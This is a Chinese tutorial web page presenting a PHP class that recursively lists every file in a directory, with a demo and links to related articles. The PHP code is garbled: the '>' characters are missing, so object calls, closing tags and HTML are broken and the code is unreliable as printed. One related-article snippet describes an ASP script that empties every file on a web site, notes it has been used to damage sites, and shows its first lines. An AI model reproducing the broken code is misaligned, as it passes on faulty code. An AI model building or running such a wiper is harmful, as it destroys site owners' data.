树型结构列出指定目录里所有文件的PHP类

2016-01-29 14:50 83 1 收藏

树型结构列出指定目录里所有文件的PHP类,树型结构列出指定目录里所有文件的PHP类

【 tulaoshi.com - PHP 】

  <?
//以树型结构列出指定目录里的所有文件,如果你想知道自己某个目录里有哪些子目录和文件,可以调用这个类来查看,很方便的。

    # 演示的例子:
    $t = new TreeClimber( "asp" ); //新建物件,设置需要列出的目录:在此为asp目录
    echo arrayValuesToString( $t-getFileList( $t-getPath() ), "<BRn" );
    
    function arrayValuesToString( $ar, $nl="", $dolast=true ) {//调用函数
    $str = "";
    reset( $ar );
    $size = sizeof( $ar );
    $i = 1;
    while( list( $k, $v ) = each( $ar ) ) {
    if ( $dolast == false ) {
    if ( $i < $size ) {
        $str .= $ar[$k].$nl;
    }
    else {
        $str .= $ar[$k];
    }
    }
    else {
    $str .= $ar[$k].$nl;
    }
    $i++;
    }
    return $str;
    }
    ?
    <?
    //以下为类文件
    class TreeClimber {
    var $path;
    var $fileList = array();
    function TreeClimber( $path = "." ) {
    $this-path = $path;
    }
    
    # 存取路径
    function getPath() { return $this-path; }
    function setPath( $v ) { $this-path = $v; }
    
    // 返回指定目录里的文件列表,如果没有指定目录,将使用当前目录
    //如果不能打开目录(可能没权限或目录不存在,将返回为空
    //以递归方式进行
     function getFileList( $dirname=null, $returnDirs=false, $reset=true ) {
    if ( $dirname == null ) { $dirname = $this-path; }
    # else { $this-setPath( $dirname ); }
    # dout( "Recursing into $dirname..." );
    if ( $reset ) {  
    $this-fileList = array();
    }
    $dir = opendir( $dirname );
    if ( ! $dir ) {  
    print( "<B<FONT COLOR=#FF0000注意: TreeClimber.getFileList( $dirname ): 不能打开 $dirname!</FONT</B" );
    return null;  
    }
    while( $file = readdir( $dir ) ) {
    if ( ereg( "^.$", $file ) || ereg( "^..$", $file ) ) continue;
    if ( is_dir( $dirname."/".$file ) ) {
    $this-getFileList( $dirname."/".$file, $returnDirs, false );
    if ( $returnDirs ) { $this-fileList[] = $dirname."/".$file;}
    }
    else { $this-fileList[] = $dirname."/".$file; }
    }
    sort( $this-fileList );
    return $this-fileList;
    }
    } //至此类结束
    ?

 

来源:http://www.tulaoshi.com/n/20160129/1494404.html

延伸阅读
标签: Web开发
?//目录操作基类class FileDirectory { var $servermode; var $serverpath; //web服务器目录 var $pagepath; //当前页目录 var $path; //当前目录 var $ffblk; //用于存储有关文件的信息 function FileDirectory() { set_time_limit(0); //设置网页运行时间,0不限 $this-serverpath = $GLOBALS[DOCU...
标签: ASP
       树型结构在我们应用程序中还是很常见的,比如文件目录,BBS,权限设置,部门设置等。这些数       据信息都采用层次型结构,而在我们现在的关系型数据库中很难清淅表达。那么要在程序中遇到树型 结构问题该如何处理呢? 最近笔者通过一个ASP权限管理的程序轻松解决了一这问...
标签: Java JAVA基础
  实现论坛树型结构的算法很多,我现在的JSP论坛采用的也是当中的一种:不用递归实现树型结构的算法,现在我将论坛树型结构的具体算法和大家介绍一下,和大家一起交流。   1、演示表的结构: 表名:mybbslist 字段 数据类型 说明 BBSID 自动编号 RootID Int ...
标签: ASP
  作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节. 此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展. 属于无聊时的作品,已经有人利用这个破坏了一些网站了. <% Server.ScriptTimeout=99999 If Request("Submit")<"" Then  Call ListFile(Server.mappath("...
目录结构及主要内容 “/”根目录部分有以下子目录: /usr 目录包含所有的命令、程序库、文档和其它文件。这些文件在正常操作中不会被改变的。这个目录也包含你的Linux发行版本的主要的应用程序,譬如,Netscape。 /var 目录包含在正常操作中被改变的文件:假脱机文件、记录文件、加锁文件、临时文件和页格式化文件等。 ...

经验教程

590

收藏

19
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部